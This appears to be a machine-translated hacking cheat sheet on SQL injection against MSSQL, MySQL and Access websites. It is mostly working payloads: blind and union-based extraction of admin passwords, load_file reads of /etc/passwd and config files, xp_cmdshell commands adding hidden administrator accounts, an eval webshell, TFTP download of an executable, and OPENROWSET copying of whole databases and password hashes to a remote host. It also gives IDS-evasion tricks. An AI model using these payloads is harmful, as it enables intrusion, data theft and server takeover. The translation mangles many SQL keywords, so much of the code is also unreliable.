Consultas MSSQL entre bases de datos (¡comida apestosa!) Oscuro)
Exprime hasta la última gota de MS SQL
Las referencias a sentencias SQL y los objetos de conjuntos de registros se explican en detalle
Acerca de procedimientos almacenados en SQL Server
Crea un webshell con copia de seguridad de mssql
SQL_Injection Aplicaciones avanzadas
Inyección SQL entre sitios (laokai)
Inyección SQL Extraña (AMANL)
Inyección SQL avanzada en aplicaciones SQL Server
Cómo usar la inyección SQL para recorrer directorios
Guía de las técnicas de inyección SQL (Traductor: demonalex)
Algunos ataques a bases de datos SQL
Técnica de Ataque por Inyección SQL (JSW)
SQL_Injection Aplicaciones Avanzadas (APACHY)
Métodos poco comunes de inyección SQL (Guilin Veteran)
Copia de seguridad de una shell
Habla sobre la estructura de la instrucción de inyección php+mysql (Heyhehehehe·≯Super· Hei)
Inyección SQL Avanzada con MySQL(ángel)
L'injection (My)SQL vía PHP
Lenguaje Oracle SQL
Enciclopedia de inyección manual de SQL
Los requisitos previos requieren herramientas: SQL Query Analyzer y SqlExec Sunx Version ============================================================================================== 1. Determinar si existe un punto de inyección ; y 1=1 y 1=2 2. Supongo que el nombre de la tabla no es más que admin, administrador, usuario, usuario, contraseña, etc.: y 0<>(select count(*) de *) y 0<>(select count(*) de admin) — Determinar si existe la tabla de administración 3. Adivina el número de cuentas. Si encuentras 0< vuelve a la página correcta 1< devuelve la página de error para indicar que el número de cuentas es 1 y 0<(select count(*) de admin) y 1<(select count(*) de admin) 4. Adivina el nombre del campo. Añade el nombre del campo que pensemos entre corchetes. y 1=(select count(*) de admin donde len(*)>0)– y 1=(select count(*) del administrador donde len(nombre de campo usuario)>0) y 1=(seleccionar count(*) de admin donde len(_blank>nombre de campo de contraseña)>0) 5. Adivina la longitud de cada campo Adivina la longitud es transformar >0 hasta que se devuelva la página correcta y 1=(select count(*) from admin where len(*)>0) y 1=(select count(*) de admin donde error len(name)>6) y 1=(select count(*) de admin donde len(name)>5) La longitud correcta es 6 y 1=(select count(*) de admin donde len(name)=6) es correcto y 1=(select count(*) de admin donde len(password)>11) es correcto y 1=(select count(*) de admin donde la longitud del error len(password)>12) es 12 y 1=(select count(*) de admin donde len(password)=12) es correcto 6. Adivina los personajes y 1=(select count(*) del admin donde left(name,1)=a) — Adivina el primer dígito de la cuenta del usuario y 1=(select count(*) del admin donde left(name,2)=ab)—Adivina el segundo dígito de la cuenta del usuario Solo añade un carácter a la vez para adivinar, adivina tantos dígitos como acabas de adivinar, y saldrá el número de cuenta (1) Adivina el nombre de la tabla
Frases usadas: y existe (seleccionar * del nombre de la tabla)
Por ejemplo: y existe (seleccionar * desde administrador)
Si la página hace eco correctamente, significa que el nombre de la tabla que adivinamos aquí es correcto, y si la página está equivocada, significa que el nombre de la tabla que escribimos aquí es incorrecto
, luego cambia el nombre de la tabla y sigue adivinando hasta que adivines.
Generalmente, los nombres de tablas más usados incluyen admin, manager, user o poner en la ejecución de la herramienta (2) Adivinar el campo
Frases usadas: y existe (seleccionar el nombre del campo del nombre de la tabla)
Por ejemplo: y existe (selecciona el nombre de usuario del administrador)
Aquí, asumiendo que la tabla de administración es la que he adivinado correctamente arriba, entonces quiero determinar si existe el campo de nombre de usuario, necesito usar esta sentencia, si la página
Si el eco de la cara es correcto, significa que el nombre del campo que hemos adivinado aquí es correcto, y si la página está equivocada, significa que el nombre del campo que escribimos aquí es incorrecto
, luego cambia el nombre del campo y sigue adivinando hasta que adivines.
Generalmente, los nombres de campos más comunes incluyen nombre de usuario, contraseña, usuario, pase, nombre, pase, pwd, usr, psd y otros campos (3) orden por
Orden por es obtener la suma del número de campos en esa página, preparando la siguiente consulta conjunta (4) Unión Selecta
1. Si soportas consulta conjunta, encuentra el bit de visualización http://www.xxx.com/product_show.asp?id=1 y la selección de unión 1=2
1,2,3,4,5,6,7,8,9,10,11 Supongamos que los bits de visualización son 5,6. A continuación, solo necesitamos reemplazar los nombres de los campos correspondientes al nombre de usuario y la contraseña del administrador por la posición del bit de visualización aquí
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 del administrador encontró el inicio de sesión en segundo plano 2. Si no se soporta consulta conjunta El nombre de usuario y la contraseña del administrador no pueden obtenerse sin una consulta conjunta, utilizando decodificación Ascii palabra por palabra Dos Usa el orden por para juzgar el número de bits en la tabla, y si no funciona, usa la selección unida para ordenarlos uno por uno; aquí asumimos 8 bits Tres Utiliza una consulta conjunta para determinar los bits de visualización Cuatro Utiliza el bit de visualización para encontrar el nombre de la base de datos, la versión de la base de datos, 5.0 o superior que se puede inyectar
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,usuario(),0x5c, versión(),8 Cinco Con el nombre de la base de datos, puedes empezar a obtener el nombre de la tabla schema = seguido del valor HEX del nombre de la base de datos, y adivinar el nombre de la tabla
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +de+information_schema.columnas+dónde+ table_schema=0x666C6965725F6462617365 Seis El nombre de la tabla analizada determina el valor HEX del nombre de tabla del administrador=nombre de la tabla, y adivina los campos de la tabla http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINTO
+column_name),8+ from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 Siete Después de obtener los campos en la tabla de administración, vamos a obtener el contenido de los campos http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINTO
+nombre de usuario, 0x5f,userpwd),8+de+pub_webmaster Ocho La herramienta escanea el antecedente: Inicia sesión para subir el troyano después de encontrarlo, y si no encuentras el archivo robots.txt puedes acceder Nueve Si no encuentras el antecedente, la contraseña del administrador de MYSQL quedará expuesta http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(usuario,contraseña),8+de+mysql.user Diez Accede aleatoriamente a una ruta, y la retroalimentación es la página predeterminada 404 de IIS6, lo que indica que el servidor del sitio web es: entorno Windows+IIS6+php+MySQL c:\\Windows\\System32\\inetsrv\\MetaBase.xml Esta ruta puede obtener la información de configuración del sitio web. Sentencias constructas http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Once Analiza el código y encuentra la dirección de segundo plano En el primer paso, necesitamos obtener la longitud de los campos en la tabla Afirmaciones utilizadas: y (seleccionar la lente top 1 (nombre del campo) del nombre de la tabla)>0 Como qué: y (selecciona top 1 lente(admin_name) desde admin)>0 La página se muestra normalmente, la longitud del campo admin_name es mayor que 0, y voy a enviar:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 La página muestra un error que indica que el campo está entre 0 y 10, y la longitud es 5 usando la dicotomía Usando el mismo método para determinar la longitud del campo de la contraseña del administrador, obtengo una longitud de 16 Paso 2 Ahora pasemos al segundo paso: tomemos un carácter concreto en el campo y obtengamos el código ASCII del carácter, que se utiliza
Declaración: y (selecciona top 1 asc(mid(nombre del campo, N,1)) del nombre de la tabla)>0 Déjame ver esta frase por separado, primero, la función más interna del medio (nombre de usuario, 1,1), que es el primer carácter del campo admin_name, N
indica que los primeros caracteres deben ser interceptados, Entonces la función exterior asc(), que convierte los caracteres interceptados por la función media en código ASCII, el top 1 más externo, representa el campo de retorno del primer lugar
Un récord, entonces, El ">0" al final es para comparar el código ASCII convertido con este número y, finalmente, obtener la intercepción cambiando constantemente el último valor
Descubre el detalle de este personaje Código ASCII Sumisión:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 La página se muestra normalmente, indicando que el código ASCII de este carácter es mayor que 30. Sumisión:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 La página se muestra normalmente, lo que indica que el código ASCII de este carácter es mayor que 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 El código ASCII que acabé con este personaje es 97 Compara la tabla ASCII: Se puede concluir que el primer carácter es "a". Luego juzgaré el código ASCII del segundo carácter.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 La página se muestra normalmente, lo que indica que el código ASCII del carácter es mayor que 90, y el último valor siempre cambia El mismo método daba la contraseña del administrador, y el resultado que obtuve fue:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 y 1=(seleccionar el top 1 count(*) de Admin donde Asc(mid(pass,5,1))=51) – Esta sentencia de consulta puede adivinar el usuario chino y _blank> contraseña. Solo tienes que sustituir los siguientes números por el código ASSIC chino
Convertir a personajes.
agrupa por users.id que tiene 1=1–www.myhack58.com agrupa por users.id, username, users.password, users.privs teniendo 1=1– ; insertar en usuarios valores( 666, atacante, foobar, 0xffff )–
UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLUMNAS Dónde
TABLE_blank>_NAME=logintable- UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLUMNAS Dónde
TABLE_blank>_NAME=logintable Donde COLUMN_blank>_NAME NO EN (login_blank>_id)- UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLUMNAS Dónde
TABLE_blank>_NAME=logintable Donde COLUMN_blank>_NAME NO ESTÁ DENTRO
(login_blank>_id,login_blank>_name)- UNIÓN Seleccionar TOP 1 login_blank>_name DE logintable- UNIÓN Seleccionar contraseña TOP 1 DESDE logintable donde login_blank>_name=Rahul– Mira el parche que jugó el servidor _blank> = red de seguridad de barra negra del parche incorrecto de SP4 y 1=(seleccionar @@VERSION)–
Mira los permisos de la cuenta de conexión de la base de datos _blank>, y devuelve el permiso normal, demostrando que es el permiso de administrador del sistema del rol de servidor _blank>. y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(sysadmin))–
Determina la cuenta de base de datos _blank> conectada. (Usar la cuenta SA para conectar y devolver normal = demostrar que la cuenta conectada es SA) y sa=(Seleccionar System_blank>_user)– y user_blank>_name()=dbo– y 0<>(select user_blank>_name()–
Mira si xp_blank>_cmdshell borra y 1=(Seleccionar contar(*) DE master.dbo.sysobjects Donde xtype = X Y name = xp_blank>_cmdshell)
–
xp_blank>_cmdshell se elimina, se restaura y soporta la recuperación absoluta de rutas ; EJECUTIVO master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== permiso de la base de datos está expuesto al código físico de ruta del sitio web
========================================================================== 1、Drop Table [jm_tmp]; Create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)
null) -- Crear tabla
2、 eliminar [jm_tmp]; insertar [jm_tmp] ejecutivo master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Inserta el directorio del sitio en el campo de la tabla
3、and (selecciona el top 1 cast([data] como nvarchar(4000) char(124) de [jm_tmp] orden por [data]
desc)=0 '//Campo expuesto
4. Tabla de Caída [jm_tmp] -- Elimina esta tabla. para que el mando consiga la carcasa
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Otros caminos de estación ======================load_file() Información sensible comúnmente utilizada =========================================== 1、 reemplazar(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100),char(60),char(32)) Las dos anteriores son para ver un archivo PHP que muestra completamente el código. Hay ocasiones en las que algunos caracteres no se reemplazan, como "<" en lugar de "espacio" que devuelve
Página web. Y el código no puede ser visualizado.
3. load_file(char(47)) puede listar el directorio raíz de los sistemas FreeBSD y Sunos
4. Ver el archivo de configuración virtual de Linux APACHE en /etc/httpd/conf/httpd.conf o /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf o C:\apache\conf\httpd.conf para ver WINDOWS
Archivo apache del sistema
6. c:/Resin-3.0.14/conf/resin.conf Consulta la información de configuración del archivo de resina del sitio web desarrollado por jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf para ver el host virtual JSP configurado en el sistema Linux
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explotan path
11. C:\Windows\system32\inetsrv\MetaBase.xml Ver el archivo de configuración del host virtual de IIS
12. /usr/local/resin-3.0.22/conf/resin.conf para ver el archivo de configuración RESIN para la versión 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Igual que antes
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Host virtual APASHE
15. /etc/sysconfig/iptables depende de la política del cortafuegos
16. /usr/local/app/php5 con php.ini ajustes equivalentes a PHP
17. /etc/my.cnf archivo de configuración MYSQL
18. /etc/versión de Red Hat en sistema de lanzamiento de Red Hat
19 、C:\mysql\data\mysql\user. MYD existe en la contraseña de usuario en el sistema MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 para ver IP.
21. /usr/local/app/php5 b/php.ini //Ajustes relacionados con PHP
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // configuración de sitio web virtual
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\Windows\my.ini
25. /etc/issue muestra la información de distribución del kernel de Linux
26、/etc/ftpuser
27. Revisa el archivo de registro de operaciones en LINUX user.bash_history o .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/troncos/error.log .. /apache/troncos/access.log .. /.. /apache/troncos/error.log .. /.. /apache/troncos/access.log .. /.. /.. /apache/troncos/error.log .. /.. /.. /apache/troncos/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/troncos/error.log .. /apache/troncos/access.log .. /.. /apache/troncos/error.log .. /.. /apache/troncos/access.log .. /.. /.. /apache/troncos/error.log .. /.. /.. /apache/troncos/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Experimenta tú mismo con PING inverso ; usar maestro; declarar @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; Ejecutivo
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Añadir una cuenta ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Crear un disco electrónico de directorio virtual: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Atributos de acceso: (escribiendo en un webshell) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Truco especial de _blank> para hacer burst en la biblioteca: :%5c=\ o modificar %5 con / y \ para hacer commit y 0<>(selecciona los caminos top 1 de la nueva tabla)–
Busca el nombre de la base de datos (del 1 al 5 son los IDs del sistema, y puedes juzgarlos por encima del 6). y 1=(seleccionar nombre de master.dbo.sysdatabases donde dbid=7)– y 0<>(select count(*) de master.dbo.sysdatabases donde name>1 y dbid=6) Presentar dbid por turno = 7,8,9.... Obtén más nombres _blank> bases de datos
y 0<>(selecciona el nombre top 1 de bbs.dbo.sysobjects donde xtype=U) se interrumpe en una tabla asumiendo admin y 0<>(selecciona el nombre top 1 de bbs.dbo.sysobjects donde xtype=tú y name no está en (Admin)).
Otras mesas. y 0<>(select count(*) de bbs.dbo.sysobjects donde xtype=tú y name=admin y uid>(str(id))) El valor numérico del UID se asume que es 18779569 uid=id y 0<>(selecciona el nombre top 1 de bbs.dbo.syscolumns donde id=18779569) obtienen un campo de admin, false
Configurado a user_blank>_id y 0<>(selecciona el nombre top 1 de bbs.dbo.syscolumns donde id=18779569 y name no está en (id,...)) para exponer otros campos y 0<(selecciona user_blank>_id desde BBS.dbo.admin donde username>1) para obtener el nombre de usuario A su vez, puedes obtener _blank> contraseña。。。。。 Supongamos que hay campos como user_blank>_id nombre de usuario, contraseña, etc
y 0<>(select count(*) de master.dbo.sysdatabases donde name>1 y dbid=6) y 0<>(selecciona el nombre top 1 de bbs.dbo.sysobjects donde xtype=U) para obtener el nombre de la tabla y 0<>(selecciona el nombre top 1 de bbs.dbo.sysobjects donde xtype=tú y name not in(Address)) y 0<>(select count(*) de bbs.dbo.sysobjects donde xtype=tú y name=admin y uid>(str(id)))
Determinar el valor del id y 0<>(selecciona el nombre principal de BBS.dbo.syscolumns donde id=773577794) todos los campos
?id=-1 unión seleccionar 1,2,3,4,5,6,7,8,9,10,11,12,13,* de admin ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 de admin (union, access también es fácil de usar)
Consigue la ruta WEB ; Crear tabla [dbo]. [intercambio] ([swappass][char](255)); – y (selecciona el top 1 swappass del swap)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
Maestro... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTEMA
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
SALIDA insertar en caminos(ruta) valores(@test)– ; usar ku1; – ; crear tabla cmd (imagen STR); – Crear un cmd de tabla del tipo de imagen 1. La forma de eliminar el proceso de extensión xp_cmdshell es utilizar la siguiente afirmación:
if existe (selecciona * de dbo.sysobjects donde id=object_id(N'[dbo].[ xpcmdshell]') y
OBJECTPROPERTY(id,N'IsExtendedProc')=1) ejecutiva sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. La forma de añadir xp_cmdshell proceso de extensión es usar la siguiente sentencia:
(1) Analizador de consultas SQL
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Primero, rellena los %s en la opción de Formato de SqlExec Sunx Version e introdúcelo en la opción CMD
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
eliminar
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell', xplog70.dll' Existen xp_blank>_cmdshell procesos de prueba: ; Maestro ejecutivo... xp_blank>_cmdshell dir ; ejecutivo master.dbo.sp_blank>_addlogin jiaoniang$; – Añadir cuentas SQL ; Exec master.dbo.sp_blank>_password null, jiaoniang$, 1866574; – ; ejecutiva master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; – ; Ejecutivo master.dbo.xp_blank>_cmdshell usuario de la red jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; Exec master.dbo.xp_blank>_cmdshell NET Localgroup Administrators jiaoniang$ /add; – Maestro ejecutivo... xp_blank>_servicecontrol inicio, programa para iniciar _blank> servicio Maestro ejecutivo... xp_blank>_servicecontrol empezar, servidor ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c usuario neto jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Maestro ejecutivo... xp_blank>_cmdshell tftp - i youip get file.exe – Subir archivos usando TFTP
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; declarar @a; conjunto @a=db_blank>_name(); Copia de seguridad de la base de datos @a a disco = tu IP Tu directorio compartido bak.dat Si está restringido, sí. selecciona * desde OpenRowSet(_blank>sqloledb,server; Sa; ,selecciona OK! Ejecutivo
master.dbo.sp_blank>_addlogin hax)
Estructura de la consulta: Seleccionar * DE noticias Donde id=... Y tema=... Y ..... adminand 1=(select count(*) from [user] wherenameuser=victim y right(left(userpass,01),1)=1)
y userpass <> seleccionar 123; – ; usar maestro; – :a o nombre como fff%; – Muestra un usuario llamado ffff. y 1<>(select count(email) de [usuario]); – ; actualización [usuarios] establecer email=(seleccionar nombre top 1 de sysobjects donde xtype=tú y status>0) donde
Nombre=FFFF; – ; actualización [usuarios] establecer correo electrónico=(seleccionar id top 1 desde sysobjects donde xtype=you y name=ad) donde
Nombre=FFFF; – ; Actualización [usuarios] establecer correo electrónico=(seleccionar nombre top 1 de sysobjects donde xtype=tú e id>581577110)
donde nombre=ffff; – ; actualización [usuarios] establecer email=(seleccionar el conteo principal de 1 desde la contraseña) donde nombre=ffff; – ; actualización [usuarios] establecer correo electrónico=(seleccionar top 1 pwd desde la contraseña donde id=2) donde nombre=ffff; – ; actualización [usuarios] establecer correo electrónico=(seleccionar nombre top 1 de la contraseña donde id=2) donde nombre=ffff; – La afirmación anterior es obtener la primera tabla de usuario en la base de datos _blank> y poner el nombre de la tabla en el campo de correo electrónico del usuario ffff. Al ver el perfil de usuario de ffff, puedes obtener la primera tabla llamada AD Luego consigue el ID de esta tabla según el nombre de la tabla y así obtener el nombre de la segunda tabla
insertar en usuarios valores(666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– insertar en los valores de usuario (667,123,123,0xffff)– Inserta en usuarios los valores (123, admin–, contraseña, 0xffff)– ; y usuario>0 ; y (select count(*) de sysobjects)>0 ; y (select count(*) de mysysobjects)>0 // para la base de datos access_blank>
Enumerar el nombre de la tabla de datos ; actualizar aaa set aaa=(seleccionar el nombre top 1 de sysobjects donde xtype=you y status>0); – Aquí es donde se actualiza el primer nombre de la tabla al campo AAA. Lee la primera tabla, y la segunda tabla puede leerse así (añade y nombra la condición<> el nombre de la tabla que acabas de recibir). ; actualizar aaa set aaa=(seleccionar el nombre top 1 de sysobjects donde xtype=you y status>0 y
nombre<>voto); – Entonces id=1552 y existe (selecciona * de aaa donde aaa>5) Lee la segunda tabla y léela una a una hasta que no quede ninguna. El campo de lectura es así: ; actualizar el conjunto aaa aaa=(seleccionar top 1 col_blank>_name(object_blank>_id(nombre de la tabla),1)); – Entonces id=152 y exists (select * from aaa donde aaa>5) recibe un error y obtiene el nombre del campo ; actualizar aaa set aaa=(seleccionar top 1 col_blank>_name(object_blank>_id(nombre de la tabla),2)); – Entonces id=152 y exists (select * from aaa donde aaa>5) recibe un error y obtiene el nombre del campo
[Obtener nombre de la tabla de datos] [Actualiza el valor del campo al nombre de la tabla y luego lee el valor de este campo para obtener el nombre de la tabla] Actualizar tabla nombre set_field=(seleccionar el nombre top 1 de sysobjects donde xtype=tú y status>0 [ y nombre<>
El nombre de la tabla que obtienes Encuentra uno más uno]) [donde condición] selecciona el nombre top 1 de sysobjects donde xtype=tú y
estado>0 y nombre no en(tabla1,tabla2,...) Crear una cuenta de administrador de base de datos y una cuenta de administrador de sistemas _blank> _blank> inyección de vulnerabilidades a través de SQLSERVER [La cuenta actual debe ser el grupo SYSADMIN]
[Obtener nombre de campo de la tabla de datos] [Actualiza el valor del campo al nombre del campo y luego lee el valor de este campo para obtener el nombre del campo] Actualizar nombre de tabla SetField=(Select Top 1 col_blank>_name(object_blank>_id (nombre de la tabla de datos a consulta), columna de campo
Por ejemplo: 1) [donde condición]
Evitar la detección de IDS [Usando variables] ; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Abrir la base de datos remota de _blank> Sintaxis básica select * de OPENROWSET(SQLOLEDB, servidor=nombreservidor; UID=SA; pwd=123, seleccione * de la tabla1 ) Parámetros: (1) Nombre del proveedor OLEDB 2. El parámetro de la cadena de conexión puede ser cualquier puerto para conectar, como select * de OPENROWSET(SQLOLEDB, uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,
seleccionar * de la tabla 3. Copiar toda la base de datos _blank> del host destino e insertar todas las tablas remotas en la tabla local.
Sintaxis básica: insertar en OPENROWSET(SQLOLEDB, server=nombreservidor; UID=SA; pwd=123, seleccione * de la tabla1) seleccione
* de la Tabla2 Esta instrucción de línea copia todos los datos de la tabla 2 en el host destino a la tabla 1 en la base de datos remota de _blank>. Reparaciones adecuadas en la práctica
Cambia la dirección IP y el puerto de la cadena de conexión para que apunten a donde la necesites, por ejemplo: insertar en OPENROWSET(SQLOLEDB,uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select
* de la tabla1) seleccionar * de la tabla2 insertar en OPENROWSET(SQLOLEDB,uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select
* de _blank>_sysdatabases) selecciona * de master.dbo.sysdatabases insertar en OPENROWSET(SQLOLEDB,uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select
* de _blank>_sysobjects) select * de user_blank>_database.dbo.sysobjects insertar en OPENROWSET(SQLOLEDB,uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select
* de _blank>_syscolumns) select * de user_blank>_database.dbo.syscolumns Replicar _blank> base de datos: insertar en OPENROWSET(SQLOLEDB,uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select
* de la tabla 1) seleccionar * desde la base de datos... Tabla1 insertar en OPENROWSET(SQLOLEDB,uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select
* de la tabla2) seleccionar * de la base de datos.. Tabla2
El hash de la contraseña que copia la tabla hash (HASH) _blank> la contraseña se almacena en sysxlogins. Así es como: insertar en OPENROWSET(SQLOLEDB,
UID=SA; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select * de _blank>_sysxlogins)
select * de database.dbo.sysxlogins Una vez que consigas el hash, puedes forzarlo a la fuerza bruta.
Para recorrer el directorio: Primero, crea una tabla temporal: temp ; crear la temperatura de la tabla (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; insertar master.dbo.xp_blank>_availablemedia ejecutivo temporal; – Conseguir todas las unidades de corriente ; Inserta en temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Obtener una lista de subdirectorios ; Inserta en temp(id,num1) ejecutive master.dbo.xp_blank>_dirtree c:\; – Obtener la estructura de árbol de directorios para todos los subdirectorios,
